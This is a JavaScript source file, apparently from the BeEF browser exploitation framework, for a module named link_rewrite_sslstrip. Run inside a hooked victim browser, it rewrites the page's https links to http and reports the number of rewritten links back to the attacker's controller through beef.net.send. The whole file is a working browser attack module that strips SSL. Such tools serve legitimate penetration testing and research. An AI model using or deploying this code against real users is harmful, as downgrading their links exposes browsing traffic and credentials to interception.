Files
beef/modules/browser/hooked_origin/link_rewrite_sslstrip/command.js
2024-12-25 11:40:55 +10:00

17 lines
478 B
JavaScript

//
// Copyright (c) 2006-2025 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
selector = "a";
old_protocol = "https";
new_protocol = "http";
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksProtocol(old_protocol, new_protocol, selector)+' '+old_protocol+' links rewritten to '+new_protocol);
});